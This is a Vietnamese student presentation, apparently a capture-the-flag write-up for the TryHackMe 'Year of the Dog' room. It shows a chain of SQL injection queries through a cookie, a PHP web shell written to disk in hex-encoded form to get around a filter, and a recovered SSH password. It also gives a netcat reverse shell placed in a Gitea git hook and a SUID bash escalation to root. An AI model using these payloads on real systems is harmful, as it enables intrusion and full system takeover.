You are on page 1of 18

BÀI THUYẾT TRÌNH 2 :

TRẦN QUỐC TUẤN -HE163901

VŨ HẢI LÂM

BÀI NÀY CHÚNG TÔI SẼ TÌM HIỂU VỀ LỖ HỔNG BẢO MẬT :

--SQL INECTION: SQL injection là một phương pháp tấn công mà kẻ tấn công cố gắng chèn các câu lệnh
SQL độc hại vào các truy vấn SQL được thực thi bởi ứng dụng web. Mục đích của việc này là lợi dụng lỗ
hổng trong cách ứng dụng xử lý và xây dựng câu truy vấn SQL để thực hiện các hành động không được
ủy quyền hoặc đánh cắp dữ liệu từ cơ sở dữ liệu.

--REMOTE CODE EXECUTION: đây là một lỗ hổng bảo mật cho phép hacker có thể thực thi mã nguy hiểm
từ xa .Từ đó chúng có thể tiến hành các hoạt động xâm nhập trái phép , đánh cắp thông tin nhạy cảm ,
hoặc lan truyền mã độc

Link room :

https://tryhackme.com/room/yearofthedog

BẮT ĐẦU NÀO ...

Đầu tiên chúng ta tiến hành quét địa chỉ ip bằng nmap
Ở đây có 2 port là 22 và 80

Chúng tôi tiếp tục dùng gobuster để quét các thư mục ẩn trong port 80

Chúng ta tìm thấy /assets/ thử truy cập thì ra được trang này . Lục lọi một lúc thì chẳng có gì ở đây . Nó
chỉ chứa một số thông tin như kiểu ảnh , font chữ ,...
Quay trở lại trang chính , chúng tôi thử khai thác thủ công bằng cách viewsource , inspector cũng ko tìm
được cái gì hữu ích , vì thế chúng tôi quyết định sử dụng brupsuit để tìm hiểu sâu hơn 😊
MÃ COOKIE có tham số id , đây là một nơi có thể tiêm sql vào được , nên chúng tôi sẽ thử bằng cách
thêm kí tự ‘ vào cuối .

Vậy là giả thiết có thể tiêm sql vào là đúng . Thử một vài câu truy vấn đơn giản chúng tôi phát hiện
trường hợp sau là đúng .

Tiếp tục khai thác lỗ hổng này :

' union select 1, group_concat('\n',schema_name) from information_schema.schemata #

Ta lấy được tên của database :0


Để lấy tên table của webapp :

' union select 1 , group_concat('\n',table_name) from information_schema.tables where


table_schema='webapp'#

Lấy các cột của queue table

' union select 1 , group_concat('\n',column_name) from information_schema.columns where


table_name='queue'#

Xem dữ liệu của userID :

' union select 1 , group_concat('\n',userID) from webapp.queue#

Không có gì hữu ích ở đây .

Chúng tôi tiếp tục thử một vài câu truy vấn nâng cao( thử load một file hệ thống ) thì phát hiện có lỗ
hổng RCE(Remote Code Execution)
NOTE: Ở DƯỚI CÓ PHÁT HIỆN MỘT NGƯỜI DÙNG TÊN LÀ dylan

Điều đó gợi cho chúng tôi ý tưởng sẽ upload một con shell lên đây .

Đầu tiên chúng tôi kiểm tra xem có quyền ghi vào file hay không

' union select 1 , 'I love U' into outfile '/var/www/html/check.php' from webapp.queue#

Check xem file có tồn tại hay không ?

Vậy là chúng tôi có quyền ghi , thử up lên một đoạn mã thực thi xem sao
‘union select 1,’<?php system($_GET[‘x’])?>’ into outfile ‘/var/www/html/shelly.php’ #

Tuy nhiên mọi việc diễn ra không đơn giản như vậy . Chúng tôi đã bị fail khi upload mã thực thi lên ☹.

Ở đây có thể đã bị chặn một số kí tự xấu .

Chúng tôi đã nghiên cứu và phát hiện ra một hàm khá hay trong sql là unhex ( hàm này sẽ convert mã
hex thành text) . Ý tưởng lóe lên là chúng tôi sẽ dịch nội dung file shelly.php thành mã hex rồi sử dụng
hàm unhex để covert lại text như ban đầu :D
MÃ HEX: 3C3F7068702073797374656D28245F4745545B2778275D293F3E

' union select 1, unhex('3C3F7068702073797374656D28245F4745545B2778275D293F3E') into outfile


'/var/www/html/shell.php' from webapp.queue #
THÔNG BÁO YOU ARE NUMBER ERROR nghĩa là mình đã upload thành công .

Giờ hãy cùng kiểm tra xem :

Đã thành công , chúng tôi sẽ upload một con shell lên bằng cách thay giá trị biến x = wget http://

Đường dẫn shell trên lab chúng tôi

Đã upload thành công , kiểm tra lại :


Bây giờ chúng tôi sẽ tìm cờ của người dùng dylan .Vào /home/dylan xét các thư mục

Nội dung file user.txt là flag đầu tiên mình có :

Tuy nhiên hiện tại vẫn chưa xem được . Chúng tôi nghĩ cần phải ssh user này mới xem được dữ liệu này .

Việc của chúng ta bây giờ là tìm mật khẩu . Hãy xét file còn lại với lệnh grep -i

Có vẻ như chúng ta đã tìm thấy phiên đăng nhập của người dùng dylan. Mật khẩu là :Labr4d0rs4L1f3

Bây giờ chúng tôi ssh với người dùng dylan . Thật tuyệt vì nó đã thành công hehe.....
Vậy là ta đã tìm được flag user

TIẾP THEO CHÚNG TA SẼ TÌM FLAG CỦA ROOT 😊

ĐẦU TIÊN CHÚNG TÔI KIỂM TRA NHỮNG PORT TCP ĐANG NGHE TRÊN MÁY NẠN NHÂN :
Check các địa chỉ này ...

Có vẻ như địa chỉ http://127.0.0.1:3000 đang trỏ đến một web có liên quan đến gitea

Ta sẽ check lại tiến trình trên hệ thống tìm xem có tiến trình nào đang chạy trong docker không ?

Cổng 3000 chỉ có thể truy cập trên máy chủ này mà không thể truy cập từ bên ngoài , nên chúng tôi sẽ
tạo một đường hầm ssh để truy cập nó từ web của thiết bị chúng tôi
ĐÂY là một thiết bị sử dụng Gitea (1.13.0)
Gitea là một hệ thống quản lý mã nguồn mở (source code management system) dựa trên giao
diện web. Nó cung cấp một môi trường tự lưu trữ mã nguồn, quản lý phiên bản, theo dõi vấn đề
(issue tracking), và tích hợp liên kết (integration) cho các dự án phát triển phần mềm.

Chúng tôi đã thử đăng nhập bằng tài khoản dylan nhưng lại gặp phải xác thực 2 yếu tố

Vì thế chúng tôi quyết định tạo một tài khoản mới .

TK: hacker

Mk:123456

Các tệp git kho lưu trữ của tôi được đặt tại /gitea/git/repositories/hacker/abc.git (tên người dùng của tôi
là test và repo có tên là abc)
Tìm kiếm trong thư mục /hook (chứa các file bash) có một tập lệnh pre-receive sẽ tự động chạy khi
chúng tôi đẩy bất cứ thứ gì vào repositories

Chúng tôi sẽ thêm một đoạn mã vào cuối

mkfifo /tmp/f; nc <THM-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Sau đó cho nghe trên máy của chúng tôi đồng thời thử tạo một commit lên repositories mới với dylan

Tạo tệp README.md bằng lệnh touch README.md.

Khởi tạo một kho Git trong thư mục hiện tại bằng lệnh git init.

Thêm tệp README.md vào chỉ mục của Git bằng lệnh git add README.md.

Tạo một commit với thông điệp "first commit" bằng lệnh git commit -m "first commit".

Thêm một remote repository có tên "origin" vào URL "http://localhost:3000/hacker/abc.git" bằng lệnh
git remote add origin http://localhost:3000/hacker/abc.git.
Đẩy nhánh "master" lên remote repository "origin" và thiết lập theo dõi nhánh "master" bằng lệnh git
push -u origin master.

Lúc này máy của chúng tôi đã nghe được và có vẻ như chúng tôi đang ở docker của gitea.

Hiện tại chúng tôi là git và có full quyền chạy tất cả các lệnh vì thế chúng tôi sang root

Chúng tôi thiết lập http.server cho thư mục /bin để tải xuống tập tin bash đồng thời thiết lập quyền
SUID (Cho phép người khác thực thi với quyền root) cho bash
Lúc này ở máy chủ đã xuất hiện tệp bash

Bây giờ chỉ cần chạy tệp bash với flag -p là xong

You might also like